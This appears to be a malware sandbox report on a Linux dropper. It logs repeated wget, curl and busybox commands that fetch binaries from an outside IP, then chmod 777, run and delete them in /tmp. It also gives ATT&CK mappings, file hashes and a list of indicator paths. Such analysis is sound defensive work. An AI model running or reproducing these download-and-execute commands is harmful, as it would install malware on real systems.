- /usr/bin/wget
  wget http://87.120.84.230/bins/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  PID:961
- /bin/chmod
  chmod 777 jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  ./jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
  2⤵
  PID:964
- /usr/bin/wget
  wget http://87.120.84.230/bins/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  PID:967
- /bin/chmod
  chmod 777 Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  ./Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
  2⤵
  PID:970
- /usr/bin/wget
  wget http://87.120.84.230/bins/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  PID:971
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  PID:973
- /bin/chmod
  chmod 777 lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  ./lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
  rm lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
  2⤵
  PID:976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ

Path /tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ	735	XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
/tmp/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1	741	jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
/tmp/ekoIDag2IrendezgvRAX8H4MvHggSiH31v	749	ekoIDag2IrendezgvRAX8H4MvHggSiH31v
/tmp/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6	777	qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
/tmp/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5	804	Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
/tmp/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT	810	lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
/tmp/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M	817	XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
/tmp/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub	846	jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
/tmp/OESnKxfsceE83uK3qyhjMDf2qeykBknq50	861	OESnKxfsceE83uK3qyhjMDf2qeykBknq50
/tmp/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr	867	B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
/tmp/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead	873	IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
/tmp/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA	879	E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
/tmp/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf	885	F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
/tmp/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF	891	ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
/tmp/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead	897	IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
/tmp/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA	903	E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
/tmp/OESnKxfsceE83uK3qyhjMDf2qeykBknq50	909	OESnKxfsceE83uK3qyhjMDf2qeykBknq50
/tmp/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr	915	B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
/tmp/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf	921	F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
/tmp/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF	927	ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
/tmp/ekoIDag2IrendezgvRAX8H4MvHggSiH31v	933	ekoIDag2IrendezgvRAX8H4MvHggSiH31v
/tmp/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6	939	qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
/tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ	945	XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
/tmp/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1	951	jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
/tmp/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M	957	XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
/tmp/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub	963	jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
/tmp/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5	969	Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
/tmp/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT	975	lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT